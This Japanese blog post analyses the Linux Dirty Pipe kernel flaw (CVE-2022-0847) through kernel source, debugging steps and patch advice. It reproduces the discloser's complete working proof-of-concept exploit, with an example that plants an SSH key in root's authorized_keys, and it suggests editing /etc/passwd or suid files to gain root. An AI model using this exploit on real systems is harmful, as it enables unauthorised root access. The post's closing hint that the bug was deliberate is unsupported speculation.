
[toc]
本記事は華為セキュリティ公式アカウントに初出掲載されたものです。こちらはブログ版(より完全な内容)です。
初出リンク:https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
脆弱性ID: CVE-2022-0847 (別名: ダーティパイプ dirty pipe)
脆弱性対象: linux kernel - splice syscall
影響バージョン: linux 5.8 パッチ f6dd975583bd で導入~5.16.11、5.15.25、5.10.102 で修正
脆弱性の影響: 任意の読み取り可能ファイルに対して1ページ以内の内容を書き込むことが可能(十分な影響力)、ローカル権限昇格が可能。
脆弱性分析用docker: chenaotian/cve-2022-0847 (まだアクセスできない場合は、まだアップロードが完了していない可能性があります。)
提供内容:
起動:
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
デバッグ:
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
脆弱性の簡単な原理は、
splice関数を呼び出すことで「ゼロコピー」形式でファイルをpipeに送信できることです。コードレベルでのゼロコピーは、ファイルキャッシュページ(page cache)をそのままpipeのbufページとして使用します。しかし、ここで変数の未初期化脆弱性が導入され、ファイルキャッシュページが後続のpipeチャネル内で通常のpipeキャッシュページとして扱われ、「追記」によって改ざんされてしまいます。ただし、この場合、カーネルはこのキャッシュページを「ダーティページ」と判断せず、短時間(次回再起動などまで)ディスクにフラッシュされません。この間、そのファイルにアクセスするすべてのシナリオで改ざんされたファイルキャッシュページが使用されるため、「短時間で任意の読み取り可能ファイルに任意の書き込みを行う」操作が達成されます。これによりローカル権限昇格が可能になります。
パッチによると、脆弱性発生箇所は copy_page_to_iter_pipe 関数にあり、buf->flags の初期化処理が追加されています。したがって、これは変数の未初期化脆弱性です。

copy_page_to_iter_pipe の呼び出し箇所は splice システムコール内にあります。splice 関数(システムコール)は「ゼロコピー」方式でファイル内容をパイプに転送します。従来のファイル内容をそのままパイプに送る方法よりもパフォーマンスが優れています。詳細は後述します。
まず、脆弱性の別名が「ダーティパイプ」であることから、パイプ(pipe)について理解します。pipe はカーネルが提供する通信パイプで、pipe/pipe2 関数で作成され、2つのファイルディスクリプタを返します。1つはデータ送信用、もう1つはデータ受信用で、パイプの両端のようなものです。具体的な使用方法は割愛します。

カーネル内での実装を簡単に説明します。通常、パイプのキャッシュ空間の総長さは65536バイトで、ページ単位で管理されます。合計16ページ(1ページ4096バイト)で、ページ同士は連続しておらず、配列で管理され、リング状のリンクリストを形成します。2つのリンクリストポインタが維持され、1つは書き込み用(pipe->head)、もう1つは読み取り用(pipe->tail)です。ここでは主に pipe_write 関数を分析します:
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1]パイプキャッシュが空でなければ、現在の最終ページから「追記」できるか試みる
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] 重要:PIPE_BUF_FLAG_CAN_MERGE フラグが存在する場合、そのページへの追記が許可される
* 書き込み長さがページを跨がない場合は追記、そうでなければ新しいページを開始する */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] 前のページに追記できない場合、新しいページを開始する
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] 新しいページを新規申請
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] 新しく申請されたページをページ配列に格納
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] フラグを設定、デフォルトでPIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] コピー操作
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
head==tail で空と判定)、パイプ内に未読み取りデータがあることを意味します。head ポインタ、つまり最新の書き込み用ページを指すポインタを取得し、そのページの len、offset(データ末尾を見つけるため)を調べます。次に、現在のページへの追記を試みます。PIPE_BUF_FLAG_CAN_MERGE フラグを持っているかどうかを判断します。フラグが存在しない場合、現在のページへの追記は許可されません。または、書き込むデータを以前のデータの後ろに結合した長さが1ページを超える場合(つまり書き込み操作がページを跨ぐ場合)、跨ぐ場合は追記できません。alloc_page で新しいページを申請します。buf->flag はデフォルトで PIPE_BUF_FLAG_CAN_MERGE に初期化されます。なぜなら、デフォルト状態ではページへの追記が許可されているからです。脆弱性悪用の鍵は splice 内で初期化されていない PIPE_BUF_FLAG_CAN_MERGE フラグにあります。これにより、「書き込み未完了」の pipe ページに追記できるかどうかが決まります。
上記で述べたように、pipe は16ページを管理してキャッシュとしています。splice のゼロコピー方式は、ファイルキャッシュページで直接 pipe 内のキャッシュページを置き換える(pipeキャッシュページのポインタをファイルキャッシュページに向けさせる)ことです。

splice システムコールから脆弱性関数 copy_page_to_iter_pipe までの呼び出しスタックは深く、詳細な分析は行いませんが、呼び出しスタックは以下の通りです:
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read(in->f_op->splice_read デフォルトは generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipe脆弱性のある copy_page_to_iter_pipe 関数の主な処理は、pipe キャッシュページ構造を転送対象のファイルキャッシュページに向けさせることです:
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1]対応するpipeキャッシュページを取得
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2]pipeキャッシュページの関連情報をファイルキャッシュページに向けさせる
get_page(page);
buf->page = page;//[2]ページポインタをファイルキャッシュページに向ける
buf->offset = offset;//[2]offset,lenなどを現在の情報に設定(spliceの引数により決定)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe ページ配列のリング構造に基づき、現在の書き込みポインタ(pipe->head)の位置を見つけます。len は splice システムコールの引数で決定)を設定します。ここで唯一、flag が初期化されず、脆弱性の原因となります。一般的に初期化後の pipe->bufs は以下のようになります:

このとき、先ほど分析した pipe_write のコードに従えば、pipe_write を再び呼び出して pipe にデータを書き込むと、書き込みポインタ(pipe->head)は上の図のページを指し、flag が PIPE_BUF_FLAG_CAN_MERGE であるため、そのページに追記して書き込めるものとみなされます(書き込み長さがページを跨がない限り):
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1]パイプキャッシュが空でなければ、現在の最終ページから「追記」できるか試みる
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] 重要:PIPE_BUF_FLAG_CAN_MERGE フラグが存在する場合、そのページへの追記が許可される
* 書き込み長さがページを跨がない場合は追記、そうでなければ新しいページを開始する */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
linuxは開かれたファイルをキャッシュページに格納し、キャッシュページは使用後も一定時間保持されて不要なI/O操作を避けます。短時間に同じファイルにアクセスする場合、毎回同じファイルキャッシュページが操作され、繰り返し開かれることはありません。そして、この方法でファイルキャッシュページを改ざんすると、短時間にそのファイルにアクセス(読み取り)する操作はすべて、改ざんされたファイルキャッシュページを読み取ることになり、悪用が成立します。
上記で既に述べた通り、脆弱性の悪用プロセスは非常に単純で、脆弱性の原理を理解すれば悪用可能です。著者の操作によれば、おおまかに以下の手順となります:
pipe_write により)。これにより全ての buf(pipe キャッシュページ)が初期化され、flag はデフォルトで PIPE_BUF_FLAG_CAN_MERGE に設定されますpipe_read により)。これにより splice システムコールでファイルを転送する際に、既に初期化された buf 構造が使用されますsplice 関数を呼び出して、改ざんしたいファイルを転送しますpipe に内容を書き込みます(pipe_write)。これによりファイルキャッシュページが上書きされ、一時的なファイル改ざんが完了しますステップ2が終了し、パイプが満タンになった後に空にされると、bufs構造内には次に未初期化内容が再利用するデータが残っています:
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

splice 後にファイルが転送されると、以下のようになります。ここで flag は初期化されておらず、また len はできるだけ小さく設定します。小さければ小さいほど、後で「追記」するときに書き込める長さが長くなるからです。ここでは1に設定し、オフセットは改ざんしたい開始アドレスとします。これにより pipe->bufs->page ポインタがその開始アドレスを指すようになります。
splice(fd, &offset, p[1], NULL, 1, 0);

再度 pipe_write を行うと、追記条件を満たすため、直接ページに追記されます:

私が書いたものではなく、脆弱性開示文書内のものです:
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
権限昇格成功:
gcc exp.c -o exp --static
./exp file offset string

現在は任意のファイル書き込みの効果をデモしているだけであり、具体的な悪用としては /etc/passwd の変更、sshキー、または一部のsuidファイルなどを修正して実際の権限昇格を完了させることができます。ここでは実際の操作は行いません(そもそも私はペネトレーションをするわけではないので)。
カーネルの脆弱性であるため、現時点では良い対処方法はなく、修正済みバージョン(5.16.11、5.15.25、5.10.102以降)へのカーネルアップグレードを推奨します。
脆弱性開示者が公開したPOCに基づき、簡単な確認ツールを作成しました。脆弱性が存在する場合「There is CVE-2022-0847」と出力されます:

脆弱性が存在しない場合「You are safe!」と出力されます。
脆弱性開示:https://dirtypipe.cm4all.com/
PIPE_BUF_FLAG_CAN_MERGE という flag は全部で5回出現します。1回は #define 宣言、2回は pipe_write 内、残り2回はすべて splice 内にあります:

さらに、この変数が関与するコードから分かるように、この変数の意味は「現在の最新の pipe キャッシュページへの追記を許可するかどうか」です。通常、pipe 自身が申請したページは普通のページであり、追記することは普通です。どのような場合に追記が許可されないかというと、そのページが pipe 自身が申請したページではない場合、勝手に変更してはいけないからです。現在の状況から見ると、ほぼ splice のみが pipe 自身が申請した以外のページに関与しています。言い換えれば、PIPE_BUF_FLAG_CAN_MERGE という flag は splice のために設計されたものです。それなのに、初期化しないと言うのですか?
したがって、この脆弱性は単なるうっかりミスではないのではないかと疑っています…。